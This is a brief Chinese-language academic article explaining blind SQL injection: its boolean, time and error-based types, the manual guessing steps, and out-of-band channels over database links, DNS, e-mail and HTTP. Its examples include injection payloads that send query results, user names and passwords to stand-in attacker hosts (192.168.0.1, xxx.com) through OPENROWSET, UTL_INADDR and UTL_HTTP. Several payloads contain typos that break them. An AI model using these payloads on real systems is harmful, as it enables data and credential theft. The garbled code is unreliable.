苏丽
摘要
本文研究围绕SQL注入行为进行分析有关网络安全中的问题,其中SQL盲注也是当前有关SQL注入行为的一个重要内容。以盲注的分类为基础,分析SQL盲注的过程。
【关键词】SQL 盲注 网络安全 非主流通道
1 SQL盲注介绍
SQL盲注是指在无法利用具体数据库错误信息或带内联数据库连接的情况下,使用数据库查询的输入查询的输入审查漏洞从数据库提取信息或提取数据库查询有关信息的攻击技术,寻找和确认SQL盲注一般要强制产生通用错误,注入带有攻击性查询,最古老的技术是使用时序攻击来确认攻击SQL是否己执行,也可以执行攻击者能够观察的输出结果的操作系统命令。SQL盲注根据盲注过程不同,对SQL盲注进行了分类:
(1)基于布尔型SQL盲注:Web的页面的仅仅会返回True和False.那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
(2)基于时间型SQL盲注:根据web应用响应时间上的差异来判断是否存在SQL注入。
(3)基于报错型SQL盲注:利用错误提示信息,对SQL拼接方式做猜测并验证,这种方法称为基于错误信息的SQL盲注。
2 SQL盲注的过程
SQL盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。手工盲注的构造攻击步骤如下:
(1)判断是否存在注入,注入是字符型还是数字型;
(2)猜解当前数据库名;
(3)猜解数据库中的表名;
(4)猜解表中的字段名;
(5)猜解数据。
3 SQL盲注非主流通道
使用SQL盲注漏洞检索数据库使用的技术是利用非主流带外通道与依靠推断技术获取数据不同,除了HTTP响应,我们可以使用通道来获取数據库块,由于通道倾向于以来数据库支持的功能,因此它并适用所有数据。比如说DNS是一种用于SQL Server和Oracle的通道,但它并不适合于mySQL,常见的非主流通道有:数据库连接、DNS、E-Mail和HTTP,其基本思想是SQL查询结果打包,之后再使用三种非主流通道之一将结果回送给攻击者。
3.1 数据库连接
该放方法时针对SQL Server,攻击者可以通过它来创建被攻击者与攻击者数据库的连接,并通过该连接传递查询的参数。可使用OPENNROWSET命令实现该目的,当通道可用时,此方法将为攻击者提供方便。想要攻击成功,受害者数据库必须在默认的1433端口上打开一条通向攻击者数据库的TCP连接。我们关注的是它在SQL盲注中的应用。下列是使用 SELECT语句从外部数据库检索数据,也可以使用OPENROWSET,并借助INSERT语句来向外部数据库传递数据:
INSERT INTO OPENROWSET(SQLOLEDB,Network-DBMSOCN;
Address=192.168.0.1;uid=foo;pwd=password,SELECT*FROM
Attack_table)SELECT name FROMsysobjects WHERE xtype=U
3.2 DNS通道
作为最出名的非主流通道,DNS不仅用作SQL注入漏洞的标记,而且作为传输数据的通道,DNS具有下列优点:
(1)网络只有入口过滤而没有出口过滤,数据库直接向攻击者发送DNS请求。
(2)DNS使用的是UDP,如果未收到数据库发送的查找请求的响应,则至少产生一个非致命错误条件。
(3)DNS的层级设计意味着易受攻击放入数据库不必要直接向攻击者发送数据包,中间的DNS服务器一般就能代表数据库的流量。
(5)执行产找时,数据库默认情况下会依赖配置在操作系统内部的DNS服务器,该操作系统通常是基本系统安装的关键部分。
Server和Oracle均能够直接或间接引发DNS请求,在Oracle中,可以使yongutl-INADDR包,这个包包含一个明确用于查找转发条目的GET HOST ADDERSS函数和一个用于查询逆向条目的GET HOST NAME函数。
SELECT*FROM reviews WHERI:
Review_author=UTL_INADDR.GET_HOST_ADDRESS((SELECTUSER EROM DUAL)‖.xxx.com)
3.3 E-Mail通道
SQLServer和Oracle均支持从数据库内部发送e-mail,e-mail是一种有吸引力的渗透通道。和DNS类似,使用SMTP发送e-mail不需要直接连接发送者和接收者,MTA的中间网络代表发送者来传递e-mail,其唯一的要求是存在一条从发送者接收到接收者的路由,该方法的限制在于异步性,发送利用e-maik需要一段时间才能到达。
3.4 HTTP通道
HTTP通道存在于提供外部web服务器功能的数据库中,数据库服务器拥有网络层许可来访问由攻击者控制的web资源。SQL Server和Mysql都没有包含构造HTTP请求的默认机制,不过可以使用自定义扩展获取到。Oracle包含一个明确扼函数和一种对象类型,可使用它们来构造HTTP请求由UTL HTTP和HTTPURLTYPE包提供。
SELECT*FROM unknowntable
UNION SELECT NULL,NILL,NULLFROM
LENGTH(UTL HTTP.REQUEST(‘www.xxx.com/”‖usemame‖chr(61)‖(password))
这里将所有用户名和口令发送给了攻击者的访问日志,该通道还可以用于拆分、平衡技术。
参考文献
[1]王丽丽,彭一楠,王轶骏,浅析SQL盲注攻击的实现[J].信息安全与通信保密,2008(05).
[2]许雅娟,SQL盲注技术分析[J].信息与电脑(理论版),2010(07).